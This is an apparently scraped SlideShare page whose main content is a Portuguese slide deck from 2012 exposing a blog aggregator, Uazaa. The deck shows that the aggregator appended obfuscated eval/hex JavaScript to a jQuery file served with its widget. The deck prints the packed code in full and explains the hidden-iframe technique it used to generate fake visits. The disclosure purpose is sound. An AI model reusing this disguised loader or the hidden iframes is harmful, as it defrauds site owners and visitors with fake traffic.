Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 

Uazaa uma-farsa-parte 2

  • 1. UAZAAA - Farsa Parte II Depois da nossa primeira denúncia, o pessoal deste agregador tirou o código criptografado que ficava no arquivo jquery-1.6.2.min.js (http://www.uazaa.xpg.com.br/widgets/jquery-1.6.2.min.js) Quem não viu dá uma olhada em http://www.slideshare.net/devninjabr/uazaa-uma-farsa que explico a técnica. Hoje dei uma olhada novamente e vi que ele continua utilizando a fraude. Desta vez ele utilizou uma forma de criptografia que envolve a função EVAL do javascript e juntamente com uma criptografia em hexadecimal. O código se encontra ao final do arquivo (http://www.uazaa.xpg.com.br/widgets/jquery-1.6.2.min.js) que como disse na Parte I, é um arquivo acima de qualquer suspeita, por se tratar de um arquivo encontrado em quase todos os blogs... Apenas para curiosidade, o código encontrado ao final do arquivo é este: eval(function (p, a, c, k, e, d) { e = function (c) { return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161); }; if (!''.replace(/^/, String)) { while (c--) { d[e(c)] = k[c] || e(c) } k = [function (e) { return d[e] }]; e = function () { return '[xa1-xff]+'; }; c = 1; }; while (c--) { if (k[c]) { p = p.replace(new RegExp(e(c), 'g'), k[c]); } } return p } ('¢¦ ¶=["£à ¤£¿¤°«®«§«µ«¨«Â¥à ¨¹£¿¤§¥à £³¤§¢§®Ã- ©©ó¨¤£Ö¤§Ø®¥¥¥É¤¤§¹§¢®¥¢¤£ÓãÂ- Ç£ð¤§ÉªÈ¥ó§Ç£ß¤£Ê¥¥Ã¸£Û¤ï©©Ç£°¤ØñØ«£Â- ¥¥à £»¤§à à ¥Â¨¤§¥À¹µÂ§À¡¡¨¤§¥¸µ¹Â£¿¤¨¥à £³ÔÂ- ¨ÀÃÀ¸¨¹£¿¤¥à £³©¦¦Êɩø§¹£Ã¸£»¤§à à ¥£Û¤µÂ§À¥ °¹°Ç£°¤£âԣ䤩¦¦½©É¨¤§¥É©¦¦½©«©Ä©¥«µÂ§À¥¸£³Ô °Ã¤©é¤Ó¤°«®«§«µ«¨«Â¥à ¨¹Ó¤§¥à Ö Ô§Ç줮¥Ã¸Õ¤ï¦©¦©ÇܤØñث륥à Ú¤§à à ¥Â- ¨¤§¥À¹µÂ§À¡¡¨¤§¥¸µ¹ÂÓ¤¨¥à ÖÔ¨ÀÃÀ¸¨¹Ó¤¥à Ö ¦©¦¦¦¦Êɦ©Ã¸§¹£Ã¸Ú¤§à à ¥Õ¤µÂ§À¥°¹°ÇܤèÔ夦©¦ ¦¦¦½¦©É¨¤§¥É¦©¦¦¦¦½¦©«¦©Ä¦©¥«µÂ§À¥¸Ö ԰䦩äÇߤ⤦¦¦©¢Î¢½¢¯¢±¢²¢Å¢¾¢Æ¢È¢±¢Ì¢Ä¢¼¢ »¢®¢®¢ª¢Ñ¢¬¢¬¢§¢§¢§¢£¢³¢²¢à ¢²¢²¢£¢Û¢ª¢°¢£¢Ì¢ ¨¢Å¢£¢Â- ¢±¢¬¢¯¢³¢Ì¢Ê¢¨¢¯¢¯¢£¢ª¢»¢ª¢¼¢Æ¢È¢®¢µ¢Ù¢¾¢Ä¢ ¼¢·¢½¢È¢ª¢Ù¢²¢µ¢Ñ¢º¢¨¢º¢¾¢Ò¢¼¢¿¢Î¢¬¢½¢¯¢±¢²¢ Å¢¾¢¿¢ð¢Î¢½¢¯¢±¢²¢Å¢¾¢Æ¢È¢±¢Ì¢Ä¢¼¢»¢®¢®¢ª¢Ñ ¢¬¢¬¢§¢§¢§¢£¢³¢²¢à ¢²¢²¢£¢Û¢ª¢°¢£¢Ì¢¨¢Å¢£¢Â- ¢±¢¬¢¼¢Æ¢È¢®¢µ¢Ù¢¾¢Ä¢¼¢·¢½¢È¢ª¢Ù¢²¢µ¢Ñ¢º¢¨¢ º¢¾¢Ò¢¼¢¿¢Î¢¬¢½¢¯¢±¢²¢Å¢¾¢¿¦¦¦©¥¥¸¦©«à «à «¦©ê ¡ò¡ø¡ü¡ô¡ÿ¡ç¡á¡þ¡¢¡¡ý¡ú¡ö¡õ¡÷¡£²¡££¡£ª¡£±¡£¾ ¡£¼¡£¬¡£¯¡£Å¡£È¡£®¡£½¡£§¡£Ì¡£¨¡£Î¡£Ä¡£Ñ¡£º¡ £Ù¡£µ¦©Ç£Æ¤¦©¡¦©¥«²«à Ã¥¥©«£·«£à «©¡¡¡¡¡¡¡¡¡¡¡ ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡£¿¡£³¡£Ê¡£°¡£Û¡£»¡ £Â- ¡£â¡£ä¡£à ¡£ß¡£Ü¡£Õ¡£Ú¡£ë¡£è¡ª¯¡£å¡£é¡£ì¡£ê¡ £ò¡£ø¡£ü¡£ô¡£ÿ¡£ç¡£á¡£þ¡£¢¡¡£ý¡£ú¡ª²¡£ö¡£õ¡£ ÷¡ª£¡ªª¡£·¡ª±¡ª¾¡ª¼¡ª¬¡ªÅ¡ª®¡ª½¡ª§¡£Ò©Ç£Ò¤©¡ ©¥«²«à Ã¥¥","¡","à °Æº·","¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡ÃŽÃ’³§·º»³¡Â¨·Ò³¡ÊѺƨ¡Â- ¨°Æ®§¨¡ºÎ¡á·Âº³Ä¡¨ß®Æ¡¬ª¡à °Æº·¡·»á·Â- º³Ä¡±¬¡³¨Ê¡ç¨ÄÕⰡλ¿à Ñ®Âà »Ì¨¡±¼¡°®Â- à ¨å³·¡Å¾¡¬£¡ªÕ¡¯²¡¯ª¡¬¼¡ªÚ¡¬¬¡¬Ü¡¯±¡¯¾¡¬È¡¯ ¯¡¬±¡¬Ú¡±à ¡±Ü¡±Ó¡¬Õ¡¬à ¡¯È¡±Õ¡¯¼¡¬Å¡¡¬¯¡¯Å¡¯Ó ¡¬¾¡±Ö¡Êº·¨¡¡¬Ö¡¡Ò³¨à §®°¨¡Ì»§Ò¿¨³·¡²Ó","","ÃŽÂ- »¿à Ñ®Âà »Ì¨","¨°Æ®§¨","¦ÊÉ","¦½","Ä"];¢¢(Þ(à ,ã,´,× ,Ë,æ){Ë=Þ(´){à (´<ã?¶[4]:Ë(¢£(´/ã)))+((´=´%ã)>¢¥?ù[¶[5]](´+¢®):´.¢Â(¢«))};î(!¶[4][¶[6]](/^/,ù)){û(´--){æ[Ë(´)]=×[´]||Ë(´)};× =[Þ(Ë){à æ[Ë]}];Ë=Þ(){à ¶[7]};´=1};û(´--){î(×[´]){à =à [¶[6]](¢ª ¢©(¶[8]+Ë(´)+¶[8],¶[9]),× [´])}};à à }(¶[0],¢¨,¢¬,¶[3][¶[2]](¶[1]),0,{}));', 95, 109, 'x7C|x25|x31|x28|x29|x5C|x63|x65|x27|x32|x2C|x36|x72|x61|x37|x70|x33|x30|x6E|_0x1c28x3|x6B|_0x3d99|x74|x3B|x3D|x69|x6F|x35|x62|x34|x6D|x5D|x7B|x5B|x7D|x67|x38|x6C|x2 E|x39|x2B|x77|_0x1c28x5|x64|x43|x66|x2D|x73|x68|x75|x41|x20|x45|x42|_0x1c28x4|x2F|x6A|x46|x71|x44|return|function|x76|_0x1c28x1|x53|x78|_0x1c28x2|x79|x49|_0x1c28x6|x52|x48|x4 A|x4C|x47|x4B|x3F|if|x21|x7A|x5E|x4D|x3A|x50|x59|x58|x5A|x4E|String|x57|while|x4F|x56|x54|x51|x55|eval|parseInt|x3E|35|var|x3C|62|RegExp|new|36|137|toString|29'.split('|'), 0, {}))
  • 2. Com este caracteres estranhos não entendemos nada, não é mesmo ? Desta forma, quando visualizamos o código fonte da página, ninguém consegue entender o que este código faz. Bom amigo blogueiro, agora vou explicar para vocês, uma forma para verificar se algum site está utilizando de artimanhas para mandar visitas. Existe um plugin do Firefox que se chama Firebug (http://firebug.softonic.com.br/download) Ele é uma ferramenta que ajuda os programadores na hora de desenvolver sites. Uma das inúmeras funcionalidades dele é mostrar como seria o código fonte, independente se o cara criptografou... Vamos agora ao exemplo, usando o nosso Agregador Favorito. Vamos direto ao arquivo do trambique: o dos Widgets... http://www.uazaa.xpg.com.br/widgets/250x250.php Ativamos o Firebug e... Aparece o código fonte já descriptografado... Tcham tcham tcham tcham!!!!
  • 3. Achamos os IFRAMES.... ☺ Explicando o método: Uma das exigências de parceria do Uazaa é a utilização do widget em todos os blogs parceiros. Desta forma, quando alguém acessa o seu blog, TODO acesso gera um acesso à página inicial do uazaa e também um acesso falso para algum blogueiro (geralmente os que ficam no topo durante o dia). O <iframe style="display:none;" src="http://www.uazaa.xpg.com.br/fuckoff.php"> gera um link aleatório para que o uazaa mande visitas para algum blogueiro. (Experimente acessar http://www.uazaa.xpg.com.br/fuckoff.php que toda vez é um site diferente) PS: Logo após a denúncia, ele alterou o nome do script para: http://www.uazaa.com.br/newRed.php (atualização feita em 14/01/2012)
  • 4. O <iframe style="display:none;" src="http://www.uazaa.xpg.com.br/"> Gera um acesso para a home do uazaa... Por exemplo: Se vc tiver 50 online no seu blog, o widget será carregado 50 vezes... e automaticamente será contado + 50 acessos na home do uazaa... E de quebra o uazaa manda visitas falsas para 50 blogs. Tá dado o recado... 13/01/2012 @devninjaBR